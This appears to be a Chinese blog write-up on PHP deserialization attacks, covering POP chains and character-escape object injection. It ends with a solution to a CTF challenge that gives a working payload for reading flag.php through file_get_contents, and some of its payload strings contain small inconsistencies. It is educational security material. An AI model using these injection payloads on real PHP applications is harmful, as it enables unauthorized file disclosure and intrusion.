PHP反序列化漏洞总结(二)
写在前边
之前介绍了什么是序列化和反序列化,顺便演示了一个简单的反序列化漏洞,现在结合实战,开始填坑
前篇:https://www.cnblogs.com/Lee-404/p/12771032.html
1.POP链
POP,面向属性编程(Property-Oriented Programing),之前理解的序列化攻击多是在魔术方法中出现一些利用的漏洞,自动调用从而触发漏洞。但如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。
2.字符逃逸+POP链构造
1)漏洞产生原因:
序列化的字符串在经过过滤函数不正确的处理而导致对象注入,目前看到都是因为过滤函数放在了serialize函数之后,要是放在序列化之前应该就不会产生这个问题
2)演示
借用大佬的案例来演示一下 https://blog.csdn.net/assasin0308/article/details/103711024
<?php
function filter($string){
$a = str_replace('x','zz',$string); //将字符串的x替换成zz
return $a;
} $username = "tr1ple";
$password = "aaaaax";
$user = array($username, $password); //将username,password传入user数组 echo(serialize($user)); //序列化数组
echo "\n"; $r = filter(serialize($user)); //将序列化好的字符中的x替换成zz echo($r);
echo "\n"; var_dump(unserialize($r));
$a='a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";';
var_dump(unserialize($a)); ?>
PHP特性
1.PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的
2.对类中不存在的属性也会进行反序列化
上述案例,发现序列化后的的字符串变长了

而且相对于
$a='a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";';
其结果也能正常序列化,说明php在反序列化的时候只要求一个反序列化字符串块合法即可,当然得是第一个字符串块。

如果能够利用filter函数这种由一个字符变为两个字符的特性来注入想要反序列化后得到的属性,使其可以逃逸出更多可用的字符串,那么我们就能反序列化得到我们想要的属性
比如a:2:{i:0;s:6:"tr1ple";i:1;s:7:"233333";}是我们想要达到的效果,此时我们想要注入的payload明显为:
";i:1;s:7:"2333333";}
这个长度为21,即注入一个x可以逃逸出一个字符的空位,那么我们只需要注入21个x即可变成42个z,即可逃逸出21个空位,从而将我们的payload变为反序列化后得到的属性值
3)构造POP
$username = 'tr1plexxxxxxxxxxxxxxxxxxxxx";i:1;s:7:"1234567";}';
$password="aaaaa";
$user = array($username, $password);
echo(serialize($user)).'</br>'; $r = filter(serialize($user)); echo($r);
echo "\n";
var_dump(unserialize($r));

3.实战(2020安恒4月WEB1)
访问,直接获取源码
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
} function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
} class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
} class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
} class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
} $a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));
   首先,盲目分析一波,大致看来一下,是POP+字符逃逸类型。用C类中的__toString()方法中的file_get_contents()来读取flag.php的源码,然后在B类中存在字符串的拼接操作$c = 'a'.$this->b; 此处的$b属性实例化为C对象即可触发__toString()方法。而题目只有对A对象的实例化,因此需要将A的属性实例化为B
<?php
class A{
public $username;
public $password;
} class B{
public $b = 'gqy';
} class C{
public $c;
} $a = new A();
$b = new B();
$c = new C();
$c->c = "flag.php";
$b->b = $c;
$a->username = "1";
$a->password = $b;
echo serialize($a);
?>
O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
构造POP链得到序列化后,接下来就是字符逃逸了,源码中只序列化$a,我们先只序列化A分析一下
<?php
class A{
public $username;
public $password;
} $a = new A();
$a->username=user;
$a->password=passwd;
echo serialize($a);
?>
得到
O:1:"A":2:{s:8:"username";s::"user";s:8:"password";s:6:"passwd";}
字符逃逸需要做的是通过字符串替换,让蓝色的长度为红色字部分的长度,这样就可以在本来的2的部分注入对象,然后进行反序列化。
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
  可以看到,可以看到\0\0\0的长度为6,然后chr(0).'*'.chr(0)的长度为3,因此read()方法可以造成字符逃逸。
在这里,我们需要逃逸的是
";s:8:"password";s:6:
根据上边分析,看上去是要逃逸22个,但实际上,刚刚构造的 O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}是打在password里的,所以一定是大于10的,是两位数,实际上是要逃逸23个字符,
因为一组逃逸出三个字符,所以这里共需逃逸八组,也就是说a这个参数序列化后应该是 \0\0\0\0\0\0\0\0\0\0\0\0 (共12组\0)
O:1:"A":2{s:8:"username";s:48:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:72:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}";}
经过函数过滤
O:1:"A":2{s:8:"username";s:48:"********";s:8:"password";s:72:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}";}  //实际上每个*后都有空格,被忽略了
  这时候应该加一个字符为了防止flag被吞可以看到,反序列化过程中,在读入username的值时,读入48位,从第一个 空*空 开始读,********";s:8:"password";s:72:"A (因为总逃逸的字符串有24位,需要逃逸的只有23位,这里加上一个A字符,凑成24位),发现原本的password属性被吞,但因为序列化字符串中类里面的变量数是2,所以此时继续读一个变量,读入我们传的password,也就是读出了我们希望传入的password,这时新对象即逃逸出来
  所以,最后的playload
?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}

传入后F12查看

参考链接:
http://www.mamicode.com/info-detail-2990320.html
https://blog.csdn.net/weixin_43610673/article/details/105754341
https://www.gem-love.com/ctf/2275.html
https://blog.csdn.net/assasin0308/article/details/103711024
如有错误请留言指出,谢谢
PHP反序列化漏洞总结(二)的更多相关文章
- WEBLOGIC 11G (10.3.6) windows PSU 升级10.3.6.0.171017(Java 反序列化漏洞升级)
		10.3.6版本的weblogic需要补丁到10.3.6.0.171017(2017年10月份的补丁,Java 反序列化漏洞升级),oracle官方建议至少打上2017年10月份补丁. 一.查看版本 ... 
- 实战经验丨PHP反序列化漏洞总结
		又到了金三银四跳槽季,很多小伙伴都开始为面试做准备,今天小编就给大家分享一个网安常见的面试问题:PHP反序列化漏洞. 虽然PHP反序列化漏洞利用的条件比较苛刻,但是一旦被利用就会产生很严重的后果,所以 ... 
- Java反序列化漏洞实现
		一.说明 以前去面试被问反序列化的原理只是笼统地答在参数中注入一些代码当其反序列化时被执行,其实“一些代码”是什么代码“反序列化”时为什么就会被执行并不懂:反来在运营商做乙方经常会因为java反反序列 ... 
- weblogic系列漏洞整理 -- 4. weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271、CVE-2017-3506)
		目录 四. weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271) 0. 漏洞分析 1. 利用过程 2. 修复建议 一.weblogic安装 http://www.cnb ... 
- java反序列化漏洞原理研习
		零.Java反序列化漏洞 java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞.另外呢,组里多位大佬对反序列化漏洞 ... 
- ref:PHP反序列化漏洞成因及漏洞挖掘技巧与案例
		ref:https://www.anquanke.com/post/id/84922 PHP反序列化漏洞成因及漏洞挖掘技巧与案例 一.序列化和反序列化 序列化和反序列化的目的是使得程序间传输对象会更加 ... 
- Java反序列化漏洞的挖掘、攻击与防御
		一.Java反序列化漏洞的挖掘 1.黑盒流量分析: 在Java反序列化传送的包中,一般有两种传送方式,在TCP报文中,一般二进制流方式传输,在HTTP报文中,则大多以base64传输.因而在流量中有一 ... 
- Jboss反序列化漏洞复现(CVE-2017-12149)
		Jboss反序列化漏洞复现(CVE-2017-12149) 一.漏洞描述 该漏洞为Java反序列化错误类型,存在于jboss的HttpInvoker组件中的ReadOnlyAccessFilter过滤 ... 
- jboss反序列化漏洞复现(CVE-2017-7504)
		jboss反序列化漏洞复现(CVE-2017-7504) 一.漏洞描述 Jboss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HT ... 
随机推荐
- 使用FME将CAD中块参照数据转换为shp数据
			暴露出需要导出的字段值,首先在数据查看器中看看CAD中各个图层分别有哪些隐含的字段. CAD快参照中含有多个部分,需要将点按照原始编码聚合成一个点. 属性字段创建,并按照属性字段一一对应CAD中的字段 ... 
- Word文档转html并提取标题
			最近做了一个功能,需要将word文档转化成html的格式,并提取出标题生成导航.考虑到功能的复杂程度,将需要降低为对“标题1”这种格式进行提取. docx为后缀的文档(word2007)支持XML的文 ... 
- C 最大公约数&最小公倍数
			1.最大公约数 链接 如果有一个自然数a能被自然数b整除,则称a为b的倍数,b为a的约数.几个自然数公有的约数,叫做这几个自然数的公约数.公约数中最大的一个公约数,称为这几个自然数的最大公约数. 1 ... 
- spring @EnableAspectJAutoProxy背后的那些事(spring AOP源码赏析)
			在这个注解比较流行的年代里,当我们想要使用spring 的某些功能时只需要加上一行代码就可以了,比如: @EnableAspectJAutoProxy开启AOP, @EnableTransaction ... 
- RuntimeError: Exception thrown in SimpleITK ReadImage: /tmp/SimpleITK/Code/IO/src/sitkImageReaderBase.cxx:107: sitk::ERROR: Unable to determine ImageIO reader for "./data/.train.txt.swp"问题解决
			原因:产生此类错误是因为SimpleITK不能读取ubuntu中的隐藏文件,比如".train.txt.swp",因为此类文件是隐藏文件另外SimpleITK不支持读取此类文件. ... 
- Hystrix 使用手册 | 官方文档翻译
			由于时间关系可能还没有翻译全,但重要部分已基本包含 本人水平有限,如有翻译不当,请多多批评指出,我一定会修正,谢谢大家.有关 ObservableHystrixCommand 我有的部分选择性忽略了, ... 
- B 蒜头君的树
			时间限制 : - MS 空间限制 : - KB 评测说明 : 2s,256m 问题描述 蒜头君有一棵有根树,树的每一边都有边权,蒜头君想知道任意两点间最短距离之和为多少. 另外,由于各种原因,蒜 ... 
- Pytest系列(7) - skip、skipif跳过用例
			如果你还想从头学起Pytest,可以看看这个系列的文章哦! https://www.cnblogs.com/poloyy/category/1690628.html 前言 pytest.mark.sk ... 
- vue 动态添加body背景图片
			<script> export default { data () { return { bodyBgImage: 'url(' + require('../asse ... 
- Appium自动化(1) - 环境准备详细教程
			Appium需要用到的工具 链接:https://pan.baidu.com/s/1od9x-1l0ALGRT5T6QFDHWg 提取码:bnhq 安装Appium Pyhton client包 1. ... 
